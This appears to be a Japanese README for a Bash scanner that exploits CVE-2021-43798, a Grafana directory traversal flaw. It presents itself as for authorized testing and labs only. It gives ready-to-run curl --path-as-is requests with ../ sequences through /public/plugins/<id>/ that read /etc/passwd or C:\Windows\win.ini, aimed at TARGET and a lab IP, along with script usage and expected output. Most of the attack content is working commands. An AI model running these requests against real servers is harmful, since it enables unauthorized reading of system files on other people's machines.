
GrafanaのプラグインIDを列挙し、脆弱なインスタンス上で/etc/passwdやwin.iniの読み取りを試みることでCVE-2021-43798のディレクトリトラバーサルをテストするBashベースのスキャナーです。
脆弱な Grafana バージョンに影響するディレクトリトラバーサル脆弱性 CVE-2021-43798 について Grafana インスタンスをテストするための、Bash ベースの小さなツールです。
このツールは Grafana のプラグイン ID を列挙し、curl --path-as-is を使用してディレクトリトラバーサルによって既知のファイルにアクセスできるかどうかをテストします。
認可されたセキュリティテストおよびラボ環境専用です。
.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
grafana-windows.sh: C:\Windows\win.ini へのアクセスをテストしますgrafana-linux.sh: /etc/passwd へのアクセスをテストしますplugins.txt: 列挙時に使用される Grafana プラグイン ID を含むワードリストです。curlcurl がインストールされていることを確認します:
curl --version
スクリプトに実行権限を付与します:
chmod +x grafana-windows.sh
chmod +x grafana-linux.sh
CVE-2021-43798 は Grafana におけるディレクトリトラバーサル脆弱性です。
脆弱なエンドポイントは以下を基盤としています:
/public/plugins/<plugin-id>/
この脆弱性により、意図されたプラグインディレクトリの外側へトラバーサルできる可能性があります。
curl でテストする際に重要な部分は以下です:
--path-as-is
このオプションがない場合、クライアントはサーバーへ送信する前にパスを正規化する可能性があります。
Windows スキャナーは以下を取得しようと試みます:
C:\Windows\win.ini
このパスは HTTP リクエスト内で以下のように表現されます:
Windows/win.ini
./grafana-windows.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
例:
./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt
以下のようにしてプラグインを手動でテストできます:
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
ラボターゲットの場合:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
成功したレスポンスには Windows INI ファイルの内容が含まれているはずです。
Linux スキャナーは以下を取得しようと試みます:
/etc/passwd
./grafana-linux.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
一般的な例:
./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
ラボターゲットの場合:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Linux での成功したレスポンスには、以下に類似したエントリが含まれているはずです:
root:x:0:0:root:/root:/bin/bash
両方のスキャナーは同じ基本引数を使用します:
u, --url : Grafana のベース URLw, --wordlist : プラグインワードリストf, --file : テストするファイルh, --help : ヘルプを表示